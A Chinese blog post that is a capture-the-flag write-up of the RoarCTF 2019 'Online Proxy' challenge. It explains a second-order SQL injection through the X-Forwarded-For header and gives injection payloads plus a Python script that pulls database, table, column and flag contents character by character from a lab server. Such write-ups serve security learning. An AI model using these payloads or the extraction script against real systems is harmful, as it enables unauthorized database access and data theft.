首页 > 编程语言 >[RoarCTF 2019]Online Proxy --不会编程的崽

[RoarCTF 2019]Online Proxy --不会编程的崽

时间:2024-03-29 09:32:14浏览次数:24  
标签:RoarCTF group F4l9 -- SUBSTR 2019 ASCII select schema

这几天也是ctf做得有点头疼了。好些序列化的题没碰,一直做些sql注入类的题目。闲来无事,在更一次sql注入吧。

整个页面就这点信息。首先想想为什么他能获取你的ip。猜测是数据包X-Forwarded-For。 

 

它还输出上次访问页面客户端的ip。很明显了,多半是二次注入

X-Forwarded-For:0'or 1 or'0

当构造这样的payload的时候。

1.先构造payload,点击发送

2.在换一个随便的ip,点击发送 

3.在次点击发送

last ip就变成1了。说明的确是sql二次注入 

这个原理就和上次网鼎杯那个sql注入一样。要是使用传统的注入就太慢了。因此我们构造这样的payload

0'+ (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),1,1))) +'0

sql语句的含义是将数据库的第一个字母的ascii码于0相加。(mysql数据库+是运算符)

 这个last ip就等于105了。这关也没过滤啥。通过这个方法,就可以构造脚本了。

import requests
flag=''
url='http://node5.buuoj.cn:25578/'
for i in range(1,500):
    s=requests.session()
    # (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),{},1)))
    # (ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)='F4l9_D4t4B45e'),{},1)))
    # F4l9_t4b1e
    # (ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F4l9_t4b1e")),{},1)))
    # F4l9_C01uMn
    # (ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_t4b1e)),1,1)))
    headers={
        "X-Forwarded-For":"0'+(ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1)))+'0".format(i),
        'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'
    }
    headers1={
        "X-Forwarded-For":"1",
        'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'
    }
    data=s.get(url,headers=headers)
    data1=s.get(url,headers=headers1)
    data2=s.get(url,headers=headers1)
    y=data2.text
    x=y.split('\n')[-1]
    z=x[9:]
    flag=flag+chr(int(z.split(' ')[0]))
    print(flag)

最后还要注意的一点就是,这里是跨库查询。flag不在当前数据库。我们第一步必须要先爆库名。 

最后一步获取数据是也别忘记"F4l9_D4t4B45e.F4l9_t4b1e",代表F4l9_D4t4B45e数据库下的F4l9_t4b1e表。

这就是最后跑出来的结果了 

标签:RoarCTF,group,F4l9,--,SUBSTR,2019,ASCII,select,schema
From: https://blog.csdn.net/daimakunnanhu/article/details/137114255

相关文章

  • python 去除图片中指定颜色框或线
    目录Python去除图片中指定颜色框或线思路和步骤代码实现示例代码主要特点:一些常用功能:与OpenCV的区别:结语Python去除图片中指定颜色框或线在图像处理中,有时候我们需要对图片进行一些特定颜色框或线的处理,例如去除指定颜色的框或线。Python提供了强大的图像处理库Op......
  • python 根据 字符串生成唯一值
    目录Python根据字符串生成唯一值方法一:利用哈希算法生成唯一值方法二:使用UUID生成唯一值方法三:结合加密算法生成唯一值用户注册唯一标识符UUID(UniversallyUniqueIdentifier)特点:UUID版本:Python中使用UUID:应用场景:Python根据字符串生成唯一值在很多应用场景中,我......
  • 5.95 BCC工具之dcsnoop.py解读
    一,工具简介dcsnoop工具用于追踪目录项缓存(dcache)的查找,并可用于dcstat(8)之外的进一步调查。由于dcache查找可能很频繁,因此输出可能很冗长。默认情况下,仅显示查找失败的情况。二,代码示例#!/usr/bin/envpythonfrom__future__importprint_functionfrombccimport......
  • 《手把手教你》系列技巧篇(五十九)-java+ selenium自动化测试 - 截图三剑客 -上篇(详细教
    1.简介今天本来是要介绍远程测试的相关内容的,但是宏哥在操作服务器的时候干了件糊涂的事,事情经过是这样的:本来申请好的Windows服务器用来做演示的,可是服务器可能是局域网的,连百度都不能访问,宏哥想调试一下网络,禁用网卡,然后重启网卡,结果禁用后就连不上了。。。。就只能等服......
  • 5.96 BCC工具之dcstat.py解读
    一,工具简介1.1 dcache介绍dcache,即目录项缓存(DirectoryEntryCache),是Linux内核中的一个重要缓存机制。它主要用于缓存文件系统中的目录项信息,包括文件和目录的名称、位置、权限等元数据。这些元数据在文件系统中被频繁访问,因此将它们缓存在内存中可以显著提高文件访问的性......
  • MySQL学习必备SQL_DDL_DML_DQL
    MySQL创建数据库需要自行创建,数据库名称可以为【schoolDB】,字符集【utf8】,排序规则【utf8_general_ci】。1、学生表DDLCREATETABLE`student`( `id`int(11)NOTNULLAUTO_INCREMENTCOMMENT'学号', `createDate`datetimeDEFAULTNULL, `userName`varchar(2......
  • 领域、系统和组织-《实现领域驱动设计》中译本评点-第2章(4)
    相关链接DDD领域驱动设计批评文集>>汪峰哭晕在厕所-《实现领域驱动设计》中译本评点-第2章(1)可不是乱打的-《实现领域驱动设计》中译本评点-第2章(2)“领域”的错误定义-《实现领域驱动设计》中译本评点-第2章(3)《实现领域驱动设计》的翻译错误>>[答疑]《实现领域驱动设计》......
  • [幻灯片]软件需求设计方法学全程实例剖析-03-业务用例图和业务序列图
    DDD领域驱动设计批评文集做强化自测题获得“软件方法建模师”称号《软件方法》各章合集pdf已上传至本号的CSDN资源,或到以下地址下载:http://umlchina.com/training/umlchina_03_bm.pdf......
  • 浅谈数据治理之道 数据运用(四)
    前面我们谈到了数据分析,数据运用是数据分析的延伸,是将分析得出的洞见转化为实际行动的过程。那么我们需要进一步的将分析出来的数据进行运用,这也是非常关键的一个动作,也是数据价值所在。只有用数据来发现和解决问题,数据就变得非常有用了。那么面对从海量数据中提取价值、确保......
  • 嵌入式开发中设备抽象的具体实现
    概要在嵌入式开发过程中,设备抽象具有极其重要的作用。以下是设备抽象的几个重要方面:平台无关性:设备抽象可以使得软件与底层硬件解耦,从而实现平台无关性。通过抽象出设备的功能接口和操作方法,可以使得相同的代码可以在不同的硬件平台上运行,而无需进行大量的修改。这对于......